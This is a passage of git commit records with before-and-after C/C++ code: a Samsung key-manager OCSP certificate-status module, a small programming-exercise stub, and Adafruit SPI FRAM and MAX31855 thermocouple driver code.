X509_STORE_add_cert(trustedStore, issuer);\n    }\n\n    int response = OCSP_basic_verify(bs, NULL, trustedStore, 0);\n    if (response <= 0) {\n        OCSP_REQUEST_free(req);\n        OCSP_RESPONSE_free(resp);\n        OCSP_BASICRESP_free(bs);\n        X509_STORE_free(trustedStore);\n        ERR_print_errors(bioLogger.get());\n        return CKM_API_OCSP_STATUS_INVALID_RESPONSE;\n    }\n\n    if ((i = OCSP_check_nonce(req, bs)) <= 0) {\n        if (i == -1) {\n            ERR_print_errors(bioLogger.get());\n        } else {\n            \/* report error *\/\n            ERR_print_errors(bioLogger.get());\n            \/* free stuff *\/\n            OCSP_REQUEST_free(req);\n            OCSP_RESPONSE_free(resp);\n            OCSP_BASICRESP_free(bs);\n            X509_STORE_free(trustedStore);\n            LogDebug(\"Error in OCSP_check_nonce\");\n            return CKM_API_OCSP_STATUS_INVALID_RESPONSE;\n        }\n    }\n\n    (void)X509_NAME_oneline(X509_get_subject_name(cert), subj_buf, 255);\n    if(!OCSP_resp_find_status(bs, certid, &ocspStatus, &reason,\n          &rev, &thisupd, &nextupd)) {\n        \/* report error *\/\n        ERR_print_errors(bioLogger.get());\n        \/* free stuff *\/\n        OCSP_RESPONSE_free(resp);\n        OCSP_REQUEST_free(req);\n        OCSP_BASICRESP_free(bs);\n        X509_STORE_free(trustedStore);\n\n        LogDebug(\"Error in OCSP_resp_find_status\");\n        return CKM_API_OCSP_STATUS_INVALID_RESPONSE;\n    }\n\n\n    \/* Check validity: if invalid write to output BIO so we\n     * know which response this refers to.\n     *\/\n    if (!OCSP_check_validity(thisupd, nextupd, nsec, maxage)) {\n        \/* report error *\/\n        ERR_print_errors(bioLogger.get());\n        \/* free stuff *\/\n        OCSP_REQUEST_free(req);\n        OCSP_RESPONSE_free(resp);\n        OCSP_BASICRESP_free(bs);\n        X509_STORE_free(trustedStore);\n\n        LogDebug(\"Error in OCSP_check_validity\");\n        return CKM_API_OCSP_STATUS_INVALID_RESPONSE;\n    }\n\n    if (req != NULL) {\n        OCSP_REQUEST_free(req);\n        req = NULL;\n    }\n\n    if (resp != NULL) {\n        OCSP_RESPONSE_free(resp);\n        resp = NULL;\n    }\n\n    if (bs != NULL) {\n        OCSP_BASICRESP_free(bs);\n        bs = NULL;\n    }\n\n    if(trustedStore != NULL) {\n        X509_STORE_free(trustedStore);\n        trustedStore = NULL;\n    }\n\n    switch(ocspStatus) {\n    case V_OCSP_CERTSTATUS_GOOD:\n        return CKM_API_OCSP_STATUS_GOOD;\n    case V_OCSP_CERTSTATUS_REVOKED:\n        return CKM_API_OCSP_STATUS_REVOKED;\n    case V_OCSP_CERTSTATUS_UNKNOWN:\n        return CKM_API_OCSP_STATUS_UNKNOWN;\n    default:\n        LogError(\"Internal openssl error: Certificate status have value is out of bound.\");\n        return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n    }\n}\n\n} \/\/ namespace CKM\n\n<commit_msg>Fix error connected with url parsing in ocsp module.<commit_after>\/*\n *  Copyright (c) 2014 Samsung Electronics Co.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License\n *\n *\n * @file        ocsp.cpp\n * @author      Dongsun Lee (ds73.lee@samsung.com)\n * @version     1.0\n * @brief       OCSP implementation.\n *\/\n\n#include <string>\n#include <ocsp.h>\n#include <openssl\/pem.h>\n#include <openssl\/ocsp.h>\n#include <openssl\/err.h>\n#include <openssl\/ssl.h>\n#include <fts.h>\n#include <unistd.h>\n#include <key-manager-util.h>\n#include <dpl\/log\/log.h>\n#include <certificate-impl.h>\n\n#include <ckm\/ckm-error.h>\n\n\/* Maximum leeway in validity period: default 5 minutes *\/\n#define MAX_VALIDITY_PERIOD     (5 * 60)\n\nnamespace CKM {\n\nnamespace {\ntypedef std::unique_ptr<BIO, std::function<void(BIO*)>> BioUniquePtr;\n\nvoid BIO_write_and_free(BIO* bio) {\n    if (!bio)\n        return;\n\n    std::vector<char> message(1024);\n    int size = BIO_read(bio, message.data(), message.size());\n    if (size > 0) {\n        message.resize(size);\n        LogError(\"OCSP error description:\" << std::string(message.begin(), message.end()));\n    }\n\n    BIO_free_all(bio);\n}\n\n} \/\/ namespace anonymous\n\nOCSPModule::OCSPModule() {\n    \/\/ Do nothing.\n}\n\nOCSPModule::~OCSPModule(){\n    \/\/ Do nothing.\n}\n\nint OCSPModule::verify(const CertificateImplVector &certificateChain) {\n    bool unsupported = false; \/\/ ocsp is unsupported in certificate in chain (except root CA)\n\n    if((systemCerts = loadSystemCerts(CKM_SYSTEM_CERTS_PATH)) == NULL) {\n        LogError(\"Error in loadSystemCerts function\");\n        return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n    }\n\n    for(unsigned int i=0; i < certificateChain.size() -1; i++) {\/\/ except root certificate\n        if (certificateChain[i].empty() || certificateChain[i+1].empty()) {\n            LogError(\"Error. Broken certificate chain.\");\n            return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n        }\n\n        X509 *cert   = certificateChain[i].getX509();\n        X509 *issuer = certificateChain[i+1].getX509();\n        std::string url = certificateChain[i].getOCSPURL();\n\n        if (url.empty()) {\n            LogError(\"Certificate in certchain[\" << i << \"] does not provide OCSP extension.\");\n            unsupported = true;\n            continue;\n        }\n\n        int result = ocsp_verify(cert, issuer, systemCerts, url);\n\n        if(result != CKM_API_OCSP_STATUS_GOOD) {\n            LogError(\"Fail to OCSP certification check. Errorcode=[\" << result <<\n                \"], on certChain[\" << i << \"]\");\n            return result;\n        }\n    }\n\n    if (unsupported)\n        return CKM_API_OCSP_STATUS_UNSUPPORTED;\n\n    return CKM_API_OCSP_STATUS_GOOD;\n}\n\nint OCSPModule::ocsp_verify(X509 *cert, X509 *issuer, STACK_OF(X509) *systemCerts, const std::string &constUrl) {\n    OCSP_REQUEST *req = NULL;\n    OCSP_RESPONSE *resp = NULL;\n    OCSP_BASICRESP *bs = NULL;\n    OCSP_CERTID *certid = NULL;\n    BIO *cbio = NULL;\n    SSL_CTX *use_ssl_ctx = NULL;\n    char *host = NULL, *port = NULL, *path = NULL;\n    ASN1_GENERALIZEDTIME *rev = NULL;\n    ASN1_GENERALIZEDTIME *thisupd = NULL;\n    ASN1_GENERALIZEDTIME *nextupd = NULL;\n    int use_ssl = 0;\n    int ocspStatus = -1;\n    int i = 0 ,tmpIdx = 0;\n    long nsec = MAX_VALIDITY_PERIOD, maxage = -1;\n    char subj_buf[256];\n    int reason = 0;\n    \/\/    const char *reason_str = NULL;0\n    X509_STORE *trustedStore=NULL;\n    BioUniquePtr bioLogger(BIO_new(BIO_s_mem()), BIO_write_and_free);\n\n    std::vector<char> url(constUrl.begin(), constUrl.end());\n    url.push_back(0);\n\n    if (!OCSP_parse_url(url.data(), &host, &port, &path, &use_ssl)) {\n        \/* report error *\/\n        return CKM_API_OCSP_STATUS_INVALID_URL;\n    }\n\n    LogDebug(\"Host: \" << host);\n    LogDebug(\"Port: \" << port);\n    LogDebug(\"Path: \" << path);\n    LogDebug(\"Use_ssl: \" << use_ssl);\n\n    cbio = BIO_new_connect(host);\n    if (cbio == NULL) {\n        \/*BIO_printf(bio_err, \"Error creating connect BIO\\n\");*\/\n        \/* report error *\/\n        return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n    }\n\n\tif (port != NULL) {\n\t\tBIO_set_conn_port(cbio, port);\n    }\n\n    if (use_ssl == 1) {\n        BIO *sbio = NULL;\n        use_ssl_ctx = SSL_CTX_new(SSLv23_client_method());\n        if (use_ssl_ctx == NULL) {\n            \/* report error *\/\n            return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n        }\n\n        SSL_CTX_set_mode(use_ssl_ctx, SSL_MODE_AUTO_RETRY);\n        sbio = BIO_new_ssl(use_ssl_ctx, 1);\n        if (sbio == NULL) {\n            \/* report error *\/\n            return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n        }\n\n        cbio = BIO_push(sbio, cbio);\n        if (cbio == NULL) {\n            \/* report error *\/\n            return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n        }\n    }\n\n    if (BIO_do_connect(cbio) <= 0) {\n        LogDebug(\"Error in BIO_do_connect.\");\n        ERR_print_errors(bioLogger.get());\n        \/* report error *\/\n\n        \/* free stuff *\/\n        if (host != NULL) {\n            OPENSSL_free(host);\n        }\n\n        if (port != NULL) {\n            OPENSSL_free(port);\n        }\n\n        if (path != NULL) {\n            OPENSSL_free(path);\n        }\n        host = port = path = NULL;\n\n        if (use_ssl && use_ssl_ctx) {\n            SSL_CTX_free(use_ssl_ctx);\n        }\n        use_ssl_ctx = NULL;\n\n        if (cbio != NULL) {\n            BIO_free_all(cbio);\n        }\n        cbio = NULL;\n\n        return CKM_API_OCSP_STATUS_NET_ERROR;\n    }\n\n    req = OCSP_REQUEST_new();\n\n    if(req == NULL) {\n        LogDebug(\"Error in OCPS_REQUEST_new\");\n        return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n    }\n    certid = OCSP_cert_to_id(NULL, cert, issuer);\n    if(certid == NULL)  {\n        LogDebug(\"Error in OCSP_cert_to_id\");\n        return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n    }\n\n    if(OCSP_request_add0_id(req, certid) == NULL) {\n        LogDebug(\"Error in OCSP_request_add0_id\");\n        return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n    }\n\n    resp = OCSP_sendreq_bio(cbio, path, req);\n\n    \/* free some stuff we no longer need *\/\n    if (host != NULL) {\n        OPENSSL_free(host);\n    }\n\n    if (port != NULL) {\n        OPENSSL_free(port);\n    }\n\n    if (path != NULL) {\n        OPENSSL_free(path);\n    }\n    host = port = path = NULL;\n\n    if (use_ssl && use_ssl_ctx) {\n        SSL_CTX_free(use_ssl_ctx);\n    }\n    use_ssl_ctx = NULL;\n\n    if (cbio != NULL) {\n        BIO_free_all(cbio);\n    }\n    cbio = NULL;\n\n    if (!resp) {\n        \/*BIO_printf(bio_err, \"Error querying OCSP responsder\\n\");*\/\n        \/* report error *\/\n        \/* free stuff *\/\n        OCSP_REQUEST_free(req);\n        return CKM_API_OCSP_STATUS_NET_ERROR;\n    }\n\n    i = OCSP_response_status(resp);\n\n    if (i != OCSP_RESPONSE_STATUS_SUCCESSFUL) {\n        \/* report error *\/\n        ERR_print_errors(bioLogger.get());\n        \/* free stuff *\/\n        OCSP_REQUEST_free(req);\n        OCSP_RESPONSE_free(resp);\n        return CKM_API_OCSP_STATUS_REMOTE_ERROR;\n    }\n\n    bs = OCSP_response_get1_basic(resp);\n    if (!bs) {\n        \/* report error *\/\n        ERR_print_errors(bioLogger.get());\n        \/* free stuff *\/\n        OCSP_REQUEST_free(req);\n        OCSP_RESPONSE_free(resp);\n\n        LogDebug(\"Error in OCSP_response_get1_basic\");\n        return CKM_API_OCSP_STATUS_INVALID_RESPONSE;\n    }\n\n    if(systemCerts != NULL) {\n        trustedStore = X509_STORE_new();\n        for(tmpIdx=0; tmpIdx<sk_X509_num(systemCerts); tmpIdx++) {\n            X509_STORE_add_cert(trustedStore, sk_X509_value(systemCerts, tmpIdx));\n        }\n        X509_STORE_add_cert(trustedStore, issuer);\n    }\n\n    int response = OCSP_basic_verify(bs, NULL, trustedStore, 0);\n    if (response <= 0) {\n        OCSP_REQUEST_free(req);\n        OCSP_RESPONSE_free(resp);\n        OCSP_BASICRESP_free(bs);\n        X509_STORE_free(trustedStore);\n        ERR_print_errors(bioLogger.get());\n        return CKM_API_OCSP_STATUS_INVALID_RESPONSE;\n    }\n\n    if ((i = OCSP_check_nonce(req, bs)) <= 0) {\n        if (i == -1) {\n            ERR_print_errors(bioLogger.get());\n        } else {\n            \/* report error *\/\n            ERR_print_errors(bioLogger.get());\n            \/* free stuff *\/\n            OCSP_REQUEST_free(req);\n            OCSP_RESPONSE_free(resp);\n            OCSP_BASICRESP_free(bs);\n            X509_STORE_free(trustedStore);\n            LogDebug(\"Error in OCSP_check_nonce\");\n            return CKM_API_OCSP_STATUS_INVALID_RESPONSE;\n        }\n    }\n\n    (void)X509_NAME_oneline(X509_get_subject_name(cert), subj_buf, 255);\n    if(!OCSP_resp_find_status(bs, certid, &ocspStatus, &reason,\n          &rev, &thisupd, &nextupd)) {\n        \/* report error *\/\n        ERR_print_errors(bioLogger.get());\n        \/* free stuff *\/\n        OCSP_RESPONSE_free(resp);\n        OCSP_REQUEST_free(req);\n        OCSP_BASICRESP_free(bs);\n        X509_STORE_free(trustedStore);\n\n        LogDebug(\"Error in OCSP_resp_find_status\");\n        return CKM_API_OCSP_STATUS_INVALID_RESPONSE;\n    }\n\n\n    \/* Check validity: if invalid write to output BIO so we\n     * know which response this refers to.\n     *\/\n    if (!OCSP_check_validity(thisupd, nextupd, nsec, maxage)) {\n        \/* report error *\/\n        ERR_print_errors(bioLogger.get());\n        \/* free stuff *\/\n        OCSP_REQUEST_free(req);\n        OCSP_RESPONSE_free(resp);\n        OCSP_BASICRESP_free(bs);\n        X509_STORE_free(trustedStore);\n\n        LogDebug(\"Error in OCSP_check_validity\");\n        return CKM_API_OCSP_STATUS_INVALID_RESPONSE;\n    }\n\n    if (req != NULL) {\n        OCSP_REQUEST_free(req);\n        req = NULL;\n    }\n\n    if (resp != NULL) {\n        OCSP_RESPONSE_free(resp);\n        resp = NULL;\n    }\n\n    if (bs != NULL) {\n        OCSP_BASICRESP_free(bs);\n        bs = NULL;\n    }\n\n    if(trustedStore != NULL) {\n        X509_STORE_free(trustedStore);\n        trustedStore = NULL;\n    }\n\n    switch(ocspStatus) {\n    case V_OCSP_CERTSTATUS_GOOD:\n        return CKM_API_OCSP_STATUS_GOOD;\n    case V_OCSP_CERTSTATUS_REVOKED:\n        return CKM_API_OCSP_STATUS_REVOKED;\n    case V_OCSP_CERTSTATUS_UNKNOWN:\n        return CKM_API_OCSP_STATUS_UNKNOWN;\n    default:\n        LogError(\"Internal openssl error: Certificate status have value is out of bound.\");\n        return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n    }\n}\n\n} \/\/ namespace CKM\n\n<|endoftext|>"}
{"text":"<commit_before>#include <bits\/stdc++.h>\n#include <stdio.h>\n\n\nint main(){\n\n  return 0;\n\n}\n<commit_msg>Update T.cpp<commit_after>#include <bits\/stdc++.h>\nusing namespace std;\n#define CONSTANT VALUE \n \nint main(void){\n    double R,A;\n    scanf(\"%lf\",&R);\n    printf(\"A=%.4f\\n\",A);   \/\/Rounding Values.\n    return 0;   \n}\n<|endoftext|>"}
{"text":"<commit_before>\/**************************************************************************\/\n\/*!\n    @file     Adafruit_FRAM_SPI.cpp\n    @author   KTOWN (Adafruit Industries)\n    @license  BSD (see license.txt)\n\n    Driver for the Adafruit SPI FRAM breakout.\n\n    Adafruit invests time and resources providing this open source code,\n    please support Adafruit and open-source hardware by purchasing\n    products from Adafruit!\n\n    @section  HISTORY\n\n    v1.0 - First release\n*\/\n\/**************************************************************************\/\n#include <avr\/pgmspace.h>\n#include <util\/delay.h>\n#include <stdlib.h>\n#include <math.h>\n\n#include \"Adafruit_FRAM_SPI.h\"\n\n\/*========================================================================*\/\n\/*                            CONSTRUCTORS                                *\/\n\/*========================================================================*\/\n\n\/**************************************************************************\/\n\/*!\n    Constructor\n*\/\n\/**************************************************************************\/\nAdafruit_FRAM_SPI::Adafruit_FRAM_SPI(int8_t cs) \n{\n  _cs = cs;\n  _clk = _mosi = _miso = -1;\n  _framInitialised = false;\n}\n\nAdafruit_FRAM_SPI::Adafruit_FRAM_SPI(int8_t clk, int8_t miso, int8_t mosi, int8_t cs) \n{\n  _cs = cs; _clk = clk; _mosi = mosi; _miso = miso;\n  _framInitialised = false;\n}\n\n\/*========================================================================*\/\n\/*                           PUBLIC FUNCTIONS                             *\/\n\/*========================================================================*\/\n\n\/**************************************************************************\/\n\/*!\n    Initializes SPI and configures the chip (call this function before\n    doing anything else)\n*\/\n\/**************************************************************************\/\nboolean Adafruit_FRAM_SPI::begin(void) \n{\n  \/* Configure SPI *\/\n  pinMode(_cs, OUTPUT);\n  digitalWrite(_cs, HIGH);\n\n  if (_clk == -1) { \/\/ hardware SPI!\n    SPI.begin();\n    SPI.setClockDivider(SPI_CLOCK_DIV2); \/\/ highest speed!\n    SPI.setDataMode(SPI_MODE0);\n  } else {\n    pinMode(_clk, OUTPUT);\n    pinMode(_mosi, OUTPUT);\n    pinMode(_miso, INPUT);\n  }\n\n  \/* Make sure we're actually connected *\/\n  uint8_t manufID;\n  uint16_t prodID;\n  getDeviceID(&manufID, &prodID);\n  if (manufID != 0x04)\n  {\n    \/\/Serial.print(\"Unexpected Manufacturer ID: 0x\"); Serial.println(manufID, HEX);\n    return false;\n  }\n  if (prodID != 0x0302)\n  {\n    \/\/Serial.print(\"Unexpected Product ID: 0x\"); Serial.println(prodID, HEX);\n    return false;\n  }\n\n  \/* Everything seems to be properly initialised and connected *\/\n  _framInitialised = true;\n\n  return true;\n}\n\n\/**************************************************************************\/\n\/*!\n    @brief  Enables or disables writing to the SPI flash\n    \n    @params[in] enable\n                True enables writes, false disables writes\n*\/\n\/**************************************************************************\/\nvoid Adafruit_FRAM_SPI::writeEnable (bool enable)\n{\n  digitalWrite(_cs, LOW);\n  if (enable)\n  {\n    SPItransfer(OPCODE_WREN);\n  }\n  else\n  {\n    SPItransfer(OPCODE_WRDI);\n  }\n  digitalWrite(_cs, HIGH);\n}\n\n\/**************************************************************************\/\n\/*!\n    @brief  Writes a byte at the specific FRAM address\n    \n    @params[in] addr\n                The 16-bit address to write to in FRAM memory\n    @params[in] i2cAddr\n                The 8-bit value to write at framAddr\n*\/\n\/**************************************************************************\/\nvoid Adafruit_FRAM_SPI::write8 (uint16_t addr, uint8_t value)\n{\n  digitalWrite(_cs, LOW);\n  SPItransfer(OPCODE_WRITE);\n  SPItransfer((uint8_t)(addr >> 8));\n  SPItransfer((uint8_t)(addr & 0xFF));\n  SPItransfer(value);\n  \/* CS on the rising edge commits the WRITE *\/\n  digitalWrite(_cs, HIGH);\n}\n\n\/**************************************************************************\/\n\/*!\n    @brief  Reads an 8 bit value from the specified FRAM address\n\n    @params[in] addr\n                The 16-bit address to read from in FRAM memory\n\n    @returns    The 8-bit value retrieved at framAddr\n*\/\n\/**************************************************************************\/\nuint8_t Adafruit_FRAM_SPI::read8 (uint16_t addr)\n{\n  digitalWrite(_cs, LOW);\n  SPItransfer(OPCODE_READ);\n  SPItransfer((uint8_t)(addr >> 8));\n  SPItransfer((uint8_t)(addr & 0xFF));\n  uint8_t x = SPItransfer(0);\n  digitalWrite(_cs, HIGH);\n  return x;\n}\n\n\/**************************************************************************\/\n\/*!\n    @brief  Reads the Manufacturer ID and the Product ID from the IC\n\n    @params[out]  manufacturerID\n                  The 8-bit manufacturer ID (Fujitsu = 0x04)\n    @params[out]  productID\n                  The memory density (bytes 15..8) and proprietary\n                  Product ID fields (bytes 7..0). Should be 0x0302 for\n                  the MB85RS64VPNF-G-JNERE1.\n*\/\n\/**************************************************************************\/\nvoid Adafruit_FRAM_SPI::getDeviceID(uint8_t *manufacturerID, uint16_t *productID)\n{\n  uint8_t a[4] = { 0, 0, 0, 0 };\n  uint8_t results;\n\n  digitalWrite(_cs, LOW);\n  SPItransfer(OPCODE_RDID);\n  a[0] = SPItransfer(0);\n  a[1] = SPItransfer(0);\n  a[2] = SPItransfer(0);\n  a[3] = SPItransfer(0);\n  digitalWrite(_cs, HIGH);\n  \n  \/* Shift values to separate manuf and prod IDs *\/\n  \/* See p.10 of http:\/\/www.fujitsu.com\/downloads\/MICRO\/fsa\/pdf\/products\/memory\/fram\/MB85RS64V-DS501-00015-4v0-E.pdf *\/\n  *manufacturerID = (a[0]);\n  *productID = (a[2] << 8) + a[3];\n}\n\n\/**************************************************************************\/\n\/*!\n    @brief  Reads the status register\n*\/\n\/**************************************************************************\/\nuint8_t Adafruit_FRAM_SPI::getStatusRegister(void)\n{\n  uint8_t reg = 0;\n  digitalWrite(_cs, LOW);\n  SPItransfer(OPCODE_RDSR);\n  reg = SPItransfer(0);\n  digitalWrite(_cs, HIGH);\n  return reg;\n}\n\n\/**************************************************************************\/\n\/*!\n    @brief  Sets the status register\n*\/\n\/**************************************************************************\/\nvoid Adafruit_FRAM_SPI::setStatusRegister(uint8_t value)\n{\n  digitalWrite(_cs, LOW);\n  SPItransfer(OPCODE_WRSR);\n  SPItransfer(value);\n  digitalWrite(_cs, HIGH);\n}\n\nuint8_t Adafruit_FRAM_SPI::SPItransfer(uint8_t x) {\n  if (_clk == -1) {\n    return SPI.transfer(x);\n  } else {\n    \/\/ Serial.println(\"Software SPI\");\n    uint8_t reply = 0;\n    for (int i=7; i>=0; i--) {\n      reply <<= 1;\n      digitalWrite(_clk, LOW);\n      digitalWrite(_mosi, x & (1<<i));\n      digitalWrite(_clk, HIGH);\n      if (digitalRead(_miso)) \n\treply |= 1;\n    }\n    return reply;\n  }\n}\n<commit_msg>Support Arduino Due<commit_after>\/**************************************************************************\/\n\/*!\n    @file     Adafruit_FRAM_SPI.cpp\n    @author   KTOWN (Adafruit Industries)\n    @license  BSD (see license.txt)\n\n    Driver for the Adafruit SPI FRAM breakout.\n\n    Adafruit invests time and resources providing this open source code,\n    please support Adafruit and open-source hardware by purchasing\n    products from Adafruit!\n\n    @section  HISTORY\n\n    v1.0 - First release\n*\/\n\/**************************************************************************\/\n\/\/#include <avr\/pgmspace.h>\n\/\/#include <util\/delay.h>\n#include <stdlib.h>\n#include <math.h>\n\n#include \"Adafruit_FRAM_SPI.h\"\n\n\/*========================================================================*\/\n\/*                            CONSTRUCTORS                                *\/\n\/*========================================================================*\/\n\n\/**************************************************************************\/\n\/*!\n    Constructor\n*\/\n\/**************************************************************************\/\nAdafruit_FRAM_SPI::Adafruit_FRAM_SPI(int8_t cs) \n{\n  _cs = cs;\n  _clk = _mosi = _miso = -1;\n  _framInitialised = false;\n}\n\nAdafruit_FRAM_SPI::Adafruit_FRAM_SPI(int8_t clk, int8_t miso, int8_t mosi, int8_t cs) \n{\n  _cs = cs; _clk = clk; _mosi = mosi; _miso = miso;\n  _framInitialised = false;\n}\n\n\/*========================================================================*\/\n\/*                           PUBLIC FUNCTIONS                             *\/\n\/*========================================================================*\/\n\n\/**************************************************************************\/\n\/*!\n    Initializes SPI and configures the chip (call this function before\n    doing anything else)\n*\/\n\/**************************************************************************\/\nboolean Adafruit_FRAM_SPI::begin(void) \n{\n  \/* Configure SPI *\/\n  pinMode(_cs, OUTPUT);\n  digitalWrite(_cs, HIGH);\n\n  if (_clk == -1) { \/\/ hardware SPI!\n    SPI.begin();\n      \n#ifdef __SAM3X8E__\n    SPI.setClockDivider (9); \/\/ 9.3 MHz\n#else\n    SPI.setClockDivider (SPI_CLOCK_DIV2); \/\/ 8 MHz\n#endif\n      \n    SPI.setDataMode(SPI_MODE0);\n  } else {\n    pinMode(_clk, OUTPUT);\n    pinMode(_mosi, OUTPUT);\n    pinMode(_miso, INPUT);\n  }\n\n  \/* Make sure we're actually connected *\/\n  uint8_t manufID;\n  uint16_t prodID;\n  getDeviceID(&manufID, &prodID);\n  if (manufID != 0x04)\n  {\n    \/\/Serial.print(\"Unexpected Manufacturer ID: 0x\"); Serial.println(manufID, HEX);\n    return false;\n  }\n  if (prodID != 0x0302)\n  {\n    \/\/Serial.print(\"Unexpected Product ID: 0x\"); Serial.println(prodID, HEX);\n    return false;\n  }\n\n  \/* Everything seems to be properly initialised and connected *\/\n  _framInitialised = true;\n\n  return true;\n}\n\n\/**************************************************************************\/\n\/*!\n    @brief  Enables or disables writing to the SPI flash\n    \n    @params[in] enable\n                True enables writes, false disables writes\n*\/\n\/**************************************************************************\/\nvoid Adafruit_FRAM_SPI::writeEnable (bool enable)\n{\n  digitalWrite(_cs, LOW);\n  if (enable)\n  {\n    SPItransfer(OPCODE_WREN);\n  }\n  else\n  {\n    SPItransfer(OPCODE_WRDI);\n  }\n  digitalWrite(_cs, HIGH);\n}\n\n\/**************************************************************************\/\n\/*!\n    @brief  Writes a byte at the specific FRAM address\n    \n    @params[in] addr\n                The 16-bit address to write to in FRAM memory\n    @params[in] i2cAddr\n                The 8-bit value to write at framAddr\n*\/\n\/**************************************************************************\/\nvoid Adafruit_FRAM_SPI::write8 (uint16_t addr, uint8_t value)\n{\n  digitalWrite(_cs, LOW);\n  SPItransfer(OPCODE_WRITE);\n  SPItransfer((uint8_t)(addr >> 8));\n  SPItransfer((uint8_t)(addr & 0xFF));\n  SPItransfer(value);\n  \/* CS on the rising edge commits the WRITE *\/\n  digitalWrite(_cs, HIGH);\n}\n\n\/**************************************************************************\/\n\/*!\n    @brief  Reads an 8 bit value from the specified FRAM address\n\n    @params[in] addr\n                The 16-bit address to read from in FRAM memory\n\n    @returns    The 8-bit value retrieved at framAddr\n*\/\n\/**************************************************************************\/\nuint8_t Adafruit_FRAM_SPI::read8 (uint16_t addr)\n{\n  digitalWrite(_cs, LOW);\n  SPItransfer(OPCODE_READ);\n  SPItransfer((uint8_t)(addr >> 8));\n  SPItransfer((uint8_t)(addr & 0xFF));\n  uint8_t x = SPItransfer(0);\n  digitalWrite(_cs, HIGH);\n  return x;\n}\n\n\/**************************************************************************\/\n\/*!\n    @brief  Reads the Manufacturer ID and the Product ID from the IC\n\n    @params[out]  manufacturerID\n                  The 8-bit manufacturer ID (Fujitsu = 0x04)\n    @params[out]  productID\n                  The memory density (bytes 15..8) and proprietary\n                  Product ID fields (bytes 7..0). Should be 0x0302 for\n                  the MB85RS64VPNF-G-JNERE1.\n*\/\n\/**************************************************************************\/\nvoid Adafruit_FRAM_SPI::getDeviceID(uint8_t *manufacturerID, uint16_t *productID)\n{\n  uint8_t a[4] = { 0, 0, 0, 0 };\n  uint8_t results;\n\n  digitalWrite(_cs, LOW);\n  SPItransfer(OPCODE_RDID);\n  a[0] = SPItransfer(0);\n  a[1] = SPItransfer(0);\n  a[2] = SPItransfer(0);\n  a[3] = SPItransfer(0);\n  digitalWrite(_cs, HIGH);\n  \n  \/* Shift values to separate manuf and prod IDs *\/\n  \/* See p.10 of http:\/\/www.fujitsu.com\/downloads\/MICRO\/fsa\/pdf\/products\/memory\/fram\/MB85RS64V-DS501-00015-4v0-E.pdf *\/\n  *manufacturerID = (a[0]);\n  *productID = (a[2] << 8) + a[3];\n}\n\n\/**************************************************************************\/\n\/*!\n    @brief  Reads the status register\n*\/\n\/**************************************************************************\/\nuint8_t Adafruit_FRAM_SPI::getStatusRegister(void)\n{\n  uint8_t reg = 0;\n  digitalWrite(_cs, LOW);\n  SPItransfer(OPCODE_RDSR);\n  reg = SPItransfer(0);\n  digitalWrite(_cs, HIGH);\n  return reg;\n}\n\n\/**************************************************************************\/\n\/*!\n    @brief  Sets the status register\n*\/\n\/**************************************************************************\/\nvoid Adafruit_FRAM_SPI::setStatusRegister(uint8_t value)\n{\n  digitalWrite(_cs, LOW);\n  SPItransfer(OPCODE_WRSR);\n  SPItransfer(value);\n  digitalWrite(_cs, HIGH);\n}\n\nuint8_t Adafruit_FRAM_SPI::SPItransfer(uint8_t x) {\n  if (_clk == -1) {\n    return SPI.transfer(x);\n  } else {\n    \/\/ Serial.println(\"Software SPI\");\n    uint8_t reply = 0;\n    for (int i=7; i>=0; i--) {\n      reply <<= 1;\n      digitalWrite(_clk, LOW);\n      digitalWrite(_mosi, x & (1<<i));\n      digitalWrite(_clk, HIGH);\n      if (digitalRead(_miso)) \n\treply |= 1;\n    }\n    return reply;\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************** \n  This is a library for the Adafruit Thermocouple Sensor w\/MAX31855K\n\n  Designed specifically to work with the Adafruit Thermocouple Sensor\n  ----> https:\/\/www.adafruit.com\/products\/269\n\n  These displays use SPI to communicate, 3 pins are required to  \n  interface\n  Adafruit invests time and resources providing this open source code, \n  please support Adafruit and open-source hardware by purchasing \n  products from Adafruit!\n\n  Written by Limor Fried\/Ladyada for Adafruit Industries.  \n  BSD license, all text above must be included in any redistribution\n ****************************************************\/\n\n#include \"Adafruit_MAX31855.h\"\n#if defined(__AVR__)\n#include <avr\/pgmspace.h>\n#endif\n#include <stdlib.h>\n#include <SPI.h>\n\n\nAdafruit_MAX31855::Adafruit_MAX31855(int8_t SCLK, int8_t CS, int8_t MISO) {\n  sclk = SCLK;\n  cs = CS;\n  miso = MISO;\n  hSPI = 0;\n\n  \/\/define pin modes\n  pinMode(cs, OUTPUT);\n  pinMode(sclk, OUTPUT); \n  pinMode(miso, INPUT);\n\n  digitalWrite(cs, HIGH);\n}\n\nAdafruit_MAX31855::Adafruit_MAX31855(int8_t CS) {\n  cs = CS;\n  hSPI = 1;\n\n  \/\/ Define CS pin mode\n  pinMode(cs, OUTPUT);\n  \n  \/\/ Configure hardware SPI\n  SPI.setBitOrder(MSBFIRST);\n  SPI.setDataMode(SPI_MODE0);\n  SPI.setClockDivider(SPI_CLOCK_DIV4);\n\n  digitalWrite(cs, HIGH);\n}\n\ndouble Adafruit_MAX31855::internal(void) {\n  uint16_t internal = (data >> 4) & 0x0fff;\n  if (internal & 0x800)\t\/\/ sign extension\n    internal |= 0xf000;\n\n  return internal * 0.0625;\n}\n\ndouble Adafruit_MAX31855::celsius(void) {\n  if (data & 0x7)\n    return NAN;\t\t\/\/ uh oh, a serious problem!\n\n  uint16_t tc = data >> 18;\n  if (tc & 0x2000)\t\/\/ sign extension\n    tc |= 0xc000;\n\n  return (int16_t)tc * 